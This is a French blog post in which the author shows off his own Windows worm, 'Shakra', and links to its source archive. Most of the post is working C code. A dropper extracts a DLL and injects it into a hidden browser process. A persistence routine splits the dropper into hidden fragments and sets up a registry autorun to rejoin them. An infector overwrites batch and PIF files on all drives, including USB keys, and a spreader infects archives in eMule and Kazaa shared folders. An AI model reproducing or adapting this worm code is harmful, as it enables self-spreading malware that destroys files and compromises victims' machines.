Shakra Dll Injected Worm

[This article in english here]


Hello tout l'monde !!
Chui content ! j'ai fini de coder mon worm dll : Shakra
J'l'ai ecrit en C et compilé avec dev-cpp 4.9.9.2 (d'ailleur la compil' impec !! aucun warnings ni rien ^^)

La source est dispo ici : http://vahan.d.free.fr/505/blog/dl/Shakra_dll_worm.rar

En fait j'esplique le concept :
le worm est en fait une dll qui sera injecté dans le processus du browser par defaut
Sa permet d'etre plutot stealth et efficace et pi c'est rigolo a coder :D

Bon, maintenant observons comment le code fonctionne :)

Ok, c'est parti dans le code source ...

"Trip Into the Shakra" (whoa ! sa fait un peu genre film d'indiana jones :p)
bref ...

Quand on ouvre la jolie archive que j'vous ai fait,on peu voir deux projets :
-Shakra_dll.dev
-Shakra_dll_worm.dev

Shakra_dll contient le code de la dll
and Shakra_dll_worm le code du dropper(qui extrait et injecte la dll)

Ok .. Comment sa marche
Tout d'abord, le concept :

-l'user execute le dropper
-celui ci extrait la dll de lui meme
-ensuite il essaye de trouver le browser par defaut en lisant une regkey
-quand il a trouvé il l'execute secretement (SW_HIDE)
-Et hop !! il inject la dll dans ce browser :)
-et ensuite il quitte
-maintenant, la dll est injecté dans le browser
-et le worm il tourne tranquillement !! (j'vais pas vous expliquer tout l'code du worm !! regarder la source :p)



La premiere chose est : "comment qu'on extrait c'te foutu dll ??"
Simple !! il suffit d'utiliser une fonction d'extraction de ressource !!
observons :

Pour extraire quelquechose avec cette fonction, on a besoin d'un fichier de ressource qui
va expliquer a notre jolie fonction ou est le fichier a compresser dans l'executable final
lorsque l'on compilera

[CODE]
int extract(void) {
HRSRC hressource;
HANDLE file_handle;
HGLOBAL res_global;
unsigned char *p_file;
char *filename;
unsigned long szp_file;

filename = (char*)malloc(sizeof(RESSOURCENAME)+sizeof(".dll"));
// RESSOURCENAME est la define qui contient le nom de la dll , r'gad dans shakra_res.rc

hressource = FindResource(NULL, RESSOURCENAME, "BITMAP");
// ici on essaye de trouver une ressource nommée RESSOURCENAME
// et qui est decrite comme un BITMAP


res_global = LoadResource(NULL, hressource);
// On a trouvé la ressource donc on la recupere


szp_file = SizeofResource(NULL, hressource);
// on en prend la taille

p_file = (unsigned char *)LockResource(res_global);
// on en prend le contenu

snprintf(filename,sizeof(RESSOURCENAME".dll")+1, RESSOURCENAME".dll");
// filename coentient le nom de la dll que l'on va ecrire

file_handle = CreateFile(filename, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

// et ici on ecrit la dll :)
if(file_handle != (HANDLE)ERROR_ALREADY_EXISTS) {

while(szp_file--) {
unsigned long numWritten;
WriteFile(file_handle, p_file, 1, &numWritten, NULL); // Write it
p_file++;
}
}
CloseHandle(file_handle);
return 0;
}
[CODE]

hey c'est pas compliqué !!
On comprend la que quand on compile le code, la dll est "compressée" dans l'executable final
J'ai decouvert cette technique d'extraction quand je lisais la source du rootkit Agony par Intox (http://spiritofhack.net/tools/agony.rar)

Bon maintenant : comment qu'on injecte la dll ??
Ivanlef0u,dans son article sur l'injection dll (dans mindkind #10)
explique la technique :
C'est simple ! il suffit d'ecrire c'qu'on veut injecter dans la memoire du process cible
et de creer un remote thread avec cette memoire :)
J'vous montre la fonction :

[CODE]
int loaddll(char *proc){
HANDLE process,thread;
DWORD tid;
LPVOID valloc;
int szrsname = strlen(RESSOURCENAME".dll") + 1;

// load_shakra contient ce qu'on va ecrire dans la memoire du process
LPTHREAD_START_ROUTINE load_shakra=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");

// ici on ouvre le process cible (grace a son PID)
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, name2pid(proc));

// on alloue de la memoire dans le process (hey pour placer notre truc, faut bien d'la place ;))
valloc = VirtualAllocEx(process, NULL, szrsname,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

// Ici on ecrit load_shakra dans la memoire du processus avec le nom de la dll
WriteProcessMemory(process,valloc,RESSOURCENAME".dll",szrsname,0);

// et ici hop injection d'code :) fun!
thread = CreateRemoteThread(process, NULL, 0,load_shakra,valloc, 0,&tid);

WaitForSingleObject(thread, INFINITE);
VirtualFreeEx(process,valloc, 0, MEM_DECOMMIT);
CloseHandle(thread);
return 0;
}
[CODE]

Yeah! c'est facile aussi, somme toute :)
C'est jolie en plus comme code :p

maintenant qu'on a vu les deux fonctions les plus importantes du dropper
observons le fonctionnement de certaines fonctions de la dll (le vrai worm):

J'pense que les plus importantes fonctions sont :
-OverFileSplitting() (OVS.h)
-Infector() (infect.h)
-Spreading() (spread.h)

Observons un peu le code de OverFileSplitting() :
(J'vais pas le commenter, j'ai la flemme et pis c'est tout simple !!)
[CODE]
int OverFileSplitting(void) {
FILE *in,*out,*joiner;
int nbd = 0;
char *name,sysdir[200],curdir[200],getstr[1024];
SYSTEMTIME time;
DWORD rnd;
HKEY key;

GetSystemTime(&time);
srand(time.wMilliseconds); // make milliseconds as random seed

GetSystemDirectory(sysdir,sizeof(sysdir));
GetCurrentDirectory(sizeof(curdir),curdir);
SetCurrentDirectory(sysdir);

name = (char *)malloc(sizeof(int)+sizeof(".shk")+sizeof(int));

in = fopen(DROPPER_CPY_NAME,"rb");

while(!feof(in)){
memset(getstr,0,sizeof(getstr));

rnd = rand()%1024;
printf("rnd = %d\n",(int)rnd);
sprintf(name, "%d.shk%d", nbd, nbd);
out = fopen(name, "wb");
fread(getstr, 1,rnd, in);
fwrite(getstr, 1, rnd, out);

fclose(out);
SetFileAttributes(name,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED);
nbd++;
}
free(name);
fclose(in);

joiner = fopen(OVS_JOINER,"w");
fprintf(joiner,"if file exists "DROPPER_CPY_NAME" goto lfef\n");
fprintf(joiner,"set /A numb=1\n");
fprintf(joiner,"set commd=copy 0.shk0\n");
fprintf(joiner,":looooooop\n");
fprintf(joiner,"set commd=%%commd%%+%%numb%%.shk%%numb%%\n");
fprintf(joiner,"set /A numb=%%numb%%+1\n");
fprintf(joiner,"if file exists %%numb%%.shk%%numb%% goto looooooop\n");
fprintf(joiner,"%%commd%% "DROPPER_CPY_NAME"\n");
fprintf(joiner,"start "DROPPER_CPY_NAME"\n");
fprintf(joiner,":lfef\n");
fprintf(joiner,"exit\n");
fclose(joiner);

SetFileAttributes(OVS_JOINER,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED);

// Make the joiner autorun
if(RegCreateKey(HKEY_LOCAL_MACHINE,OVS_KEY,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"StubPath",0,REG_SZ,"cmd.exe /c "OVS_JOINER,sizeof("cmd.exe /c "OVS_JOINER));
RegCloseKey(key);
}

SetCurrentDirectory(curdir);
return 0;
}
[CODE]

C'est une fonction qui separe le dropper en plusieurs petites parties et créé
ensuite un fichier batch qui va verifier l'existence du dropper, si il existe pas
ben il va l'ecire en rejoignant tous les morceaux and pis ensuite ben va l'executer :)
(le nouveau dropper !)
C'est une fonction plutot sympa qui permet au dropper de rester present sur l'ordi ;)
(idée originale : SPTH, in rrlf #6)

Bon, le code fonctionne comme sa :
On ouvre le dropper en lecture binary

tant qu'on peut lire le dropper, il créé des fichiers en ecrivant
une quantité aleatoire de code compilé dans chacun des fichiers

pour finir il créé le joiner et le met en autorun :)

C'est aussi simple :)
(ce worm est definitivement trop simple =p)

ok, maintenat la fonction Infector()

[CODE]
int Infector(void) {
// Infecting some files by simple overwritting
// ouais une vieille methode ultra bourrine de chez primitive quoi :-p

char sysdir[200],windir[200],curdir[200];
char *drives[] = {"b:","c:","d:","e:","f:","g:","h:","i:","j:","k:","l:","m:","n:","o:","p:","q:","r:","s:","t:","u:","v:","w:","x:","y:"};
char *targets[] = {"*.bat","*.cmd","*.pif"}; // Les fichiers a infecter :)
int nb=0,nd = 0;

GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));

while(targets[nd]) {
nb = 0;

// In windows directory
char *commdone = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(windir)+1+sizeof(targets[nd])+1);
snprintf(commdone,sizeof(commdone),"copy %s %s\\%s",DROPPER_CPY_NAME,windir,targets[nd]);
system(commdone);
free(commdone);

// In System directory
char *commdtwo = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(sysdir)+1+sizeof(targets[nd])+1);
snprintf(commdtwo,sizeof(commdtwo),"copy %s %s\\%s",DROPPER_CPY_NAME,sysdir,targets[nd]);
system(commdtwo);
free(commdtwo);

// In existing drives (can include some usb key ;))
while(drives[nb]) {
char *commd = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(drives[nb])+1+sizeof(targets[nd])+1);
snprintf(commd,sizeof(commd),"copy %s %s\\%s",DROPPER_CPY_NAME,drives[nb],targets[nd]);
system(commd);
free(commd);
nb++;
}
nd++;
}

return 0;
}
[CODE]

Celle la est trop trop simple aussi :)
en fait sa fait que reecrire tous les .bat,.cmd & .pif dans le dossier
windows, le dossier systeme et dans tous les disques existants
(sa inclue aussi les clefs usb, donc peut servir pour le spreading mais c'est trop useless)
C'est pas une bonne facon d'infecter des fichiers, pasque c'est pas tellement discret !!


Pour finir j'vous montre la fonction de spreading :
elle infecte tous les .rar,.zip,.arj & .tar.gz
dans les dossiers de partage de kazaa & emule
Person j'pense que c'est mieux que de creer un nouvelle archive dans ces dossiers ;)

[CODE]
int Spreading(void) {
char emule_path[512],kazaa_path[512];
char curdir[200];
char sysdir[200];

GetSystemDirectory(sysdir,sizeof(sysdir)-sizeof(DROPPER_CPY_NAME)-1);
GetCurrentDirectory(200,curdir);
strcat(sysdir,"\\"DROPPER_CPY_NAME);

// eMule Dir infection
GetP2Path(emule_path,"emule"); // GetP2Path est la fonction qui retrouve les dossiers de partage de emule et kazaa

if(emule_path != NULL) {
SetCurrentDirectory(emule_path);
InfectArchives(); // cette fonction infecte *.rar,*.zip,*.arj & *.tar.gz dans le dossier courant
SetCurrentDirectory(curdir);
}


//Kazaa dir infection
GetP2Path(kazaa_path,"kazaa");

if(kazaa_path != NULL) {
SetCurrentDirectory(kazaa_path);
InfectArchives();
SetCurrentDirectory(curdir);
}

return 0;
}
[CODE]

Hey, j'pense que vous pouvez comprendre le principe tout seul :p

----
Bien sure ce code n'est pas parfait !!
Un bon truc a rajouter ce serait une protection contre les progs qui liste les dll utilisés
par des process,Ivanlef0u explique comment faire dans son article mais
j'ai pas trop trop bien compris les codes alors j'ai dédcidé de pas l'faire pour l'moment
p'tet que j'le f'rai .. qui sait :)

L'article est fini !
J'espere que j'vous aurai appris quelque chose et vous vous eclaterez en lisant ma source
(p'tin c'est bien un truc de geek sa xD)